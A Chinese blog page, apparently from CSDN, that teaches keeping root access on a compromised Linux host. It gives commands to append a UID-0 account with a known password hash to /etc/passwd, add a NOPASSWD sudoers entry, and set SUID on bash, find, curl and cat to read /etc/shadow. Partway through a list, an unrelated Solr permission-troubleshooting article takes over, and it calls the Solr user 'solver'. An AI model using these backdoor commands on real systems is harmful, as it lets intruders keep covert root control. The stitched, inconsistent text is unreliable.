权限维持——Linux

前提

已经提权到管理员权限

一、创建账户

1、创建一个自定义密码的账户

        已知,Linux中所有的用户的信息 存储在/etc/passwd这个文件中 。可以利用管理员权限修改这个文件, 添加一个账户 。

利用linux中的密码的编码算法 生成对应密码 (不知道的百度搜索一下)

加密密码:

password@123-->advwtv/9yU5yQ

使用命令生成账户或直接复制到passwd文件中:

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd 

测试:

登录成功

 2、直接创建管理员账户

#创建账户

useradd -o -u 0 -g 0 sun_happy

#设置密码
passwd

password@123

3、配置sudoers文件

修改 /etc/sudoers配置文件 在此文件配置用户

Sun_happy ALL=(ALL) NOPASSWD:ALL

在之前的文章中已经介绍过了,就不过多的描述了。

执行命令时 ,命令之前加上 sudo就可以以管理员的身份运行 。

4、普通用户+SUID权限

(1)给以下命令加上 s权限:

chmod u+s /bin/bash            $ bash -p
chmod u+s /bin/sh            $ sh -p
chmod u+s /bin/env            $ env /bin/sh -p
chmod u+s /bin/vi            $ vi /etc/shadow
chmod u+s /bin/awk            $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat            $ cat /etc/shadow
chmod u+s /usr/bin/curl        $ curl file:///etc/shadow
chmod u+s /bin/find            $ find /etc/passwd -exec cat /etc/shadow \;
               &

### Linux下Solr权限不足问题的解决方案 在Linux系统中运行Solr时,如果遇到`permission denied`的问题,通常是由文件或目录权限设置不当引起的。以下是几种常见的解决方法: #### 方法一:调整Docker容器内的用户身份 当通过Docker运行Solr时,可能会因为默认用户的权限不足而导致操作失败。可以通过指定用户ID来解决问题。例如,在进入Docker容器时添加参数`-u 0`以使用root用户运行命令[^1]。 ```bash docker exec -it -u 0 <container_id> /bin/bash ``` 此方式适用于需要临时提升权限的情况,但在生产环境中不建议长期使用root用户。 --- #### 方法二:修改文件所有权 对于某些特定路径(如`/var/solr/data/`),可能由于文件夹的所有权不属于当前用户而引发访问拒绝错误。可以在构建镜像的过程中,利用`COPY --chown=<user>`指令更改目标文件的所有权[^2]。 示例Dockerfile片段: ```dockerfile FROM solr:latest COPY --chown=solr my_core_config /opt/solr/server/solr/mycores/ RUN chmod -R 755 /opt/solr/server/solr/mycores/ ``` 该方法确保了核心配置文件及其所在目录归属于正确的用户(如`solver`),从而避免因权限不足导致的操作失败。 --- #### 方法三:授予必要的读写权限 针对具体文件或目录,可手动赋予其适当权限。例如,若发现日志记录或其他数据存储位置存在访问障碍,则可通过以下命令修正: ```bash chmod -R u+rwx /path/to/directory_or_file chown -R solr:solr /path/to/directory_or_file ``` 这里假设Solr服务由`solver`账户运行;实际应用中需替换为目标进程的实际用户名与组名。 --- #### 方法四:处理宿主机到容器间通信的安全策略 有时即使内部环境已妥善配置完毕,仍会遭遇外部接口调用受限的情形——比如试图连接至本地套接字 `/var/run/docker.sock`却收到 `connect: permission denied` 的反馈。此时应核查相关资源所属关系并做相应调整[^3]: ```bash sudo usermod -aG docker ${USER} newgrp docker ``` 完成上述步骤后重新登录生效即可允许普通成员参与管理任务而不必每次都切换成超级管理员状态执行动作。 另外值得注意的是,部分发行版预设安全模块SELinux也可能成为潜在干扰因素之一。必要情况下考虑暂时关闭它以便验证是否存在关联影响: ```bash setenforce 0 ``` 不过出于安全性考量并不推荐长久维持宽松模式而是应该精确制定规则满足需求的同时保留防护机制完好无损。 --- #### 方法五:检查shell脚本本身是否有执行权限 假如是在尝试启动某个`.sh`类型的批处理程序期间碰到了类似的报错消息,则很可能是尚未给予足够的属性标记使其具备被执行的能力[^4]。对此只需简单地加上一句赋予权限语句便可轻松化解难题: ```bash chmod +x script_name.sh ./script_name.sh ``` 以上便是关于如何应对Linux平台之上部署Solr过程中可能出现的各种形式下的“Permission Denied”状况的一些常见技巧总结。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值